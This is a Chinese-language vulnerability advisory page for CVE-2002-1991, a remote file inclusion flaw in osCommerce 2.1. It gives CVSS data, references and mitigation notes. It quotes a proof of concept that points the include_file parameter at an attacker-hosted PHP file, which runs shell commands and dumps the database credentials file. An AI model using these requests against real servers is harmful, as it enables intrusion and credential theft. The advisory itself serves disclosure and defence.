CVE-2002-1991
CVSS7.5
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-05 00:00:00
NMCOE    

[原文]PHP file inclusion vulnerability in osCommerce 2.1 execute arbitrary commands via the include_file parameter to include_once.php.


[CNNVD]OSCommerce远程文件包含漏洞(CNNVD-200212-536)

        osCommerce 2.1版本存在PHP文件包含漏洞。该漏洞借助include_once.php的include_file参数执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-94 [对生成代码的控制不恰当(代码注入)]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1991
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1991
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-536
(官方数据源) CNNVD

- 其它链接及资源

http://www.oscommerce.com/about.php/news,72
(VENDOR_ADVISORY)  CONFIRM  http://www.oscommerce.com/about.php/news,72
http://www.securityfocus.com/bid/5037
(UNKNOWN)  BID  5037
http://www.iss.net/security_center/static/9369.php
(UNKNOWN)  XF  oscommerce-include-remote-files(9369)

- 漏洞信息

OSCommerce远程文件包含漏洞
高危 配置错误
2002-12-31 00:00:00 2005-10-20 00:00:00
远程  
        osCommerce 2.1版本存在PHP文件包含漏洞。该漏洞借助include_once.php的include_file参数执行任意命令。

- 公告与补丁

        Reportedly, exploitation of this type of vulnerability is not possible unless both 'allow_url_fopen' and 'register_globals' are enabled in the local site PHP configuration.
        It is good practice to disable any unneeded options.
        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (21563)

OSCommerce 2.1 Remote File Include Vulnerability (EDBID:21563)
php webapps
2002-06-16 Verified
0 Tim Vandermeerch
N/A [点击下载]
source: http://www.securityfocus.com/bid/5037/info

osCommerce is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. 

-------- Example 1 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/a.php

--- a.php ---
<? passthru("/bin/ls")?>
-------------
Output: dir listing of the current dierctory
---------------------------

-------- Example 2 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/b.php

--- b.php ---
<? passthru("/bin/cat application_top.php")?>
-------------
Output: outputs the application_top.php file wich includes MySQL username,
password, etc.

		

- 漏洞信息

7377
osCommerce include_once.php include_file Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

osCommerce contains a flaw that may allow a remote attacker to execute arbitrary commands or code. The issue is due to the 'include_once.php' script not properly sanitizing user input supplied to the 'include_file' parameter. This may allow an attacker to include a file from a third-party remote host that contains commands or code that will be executed by the vulnerable script with the same privileges as the web server.

- 时间线

2002-06-16 Unknow
2002-06-16 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站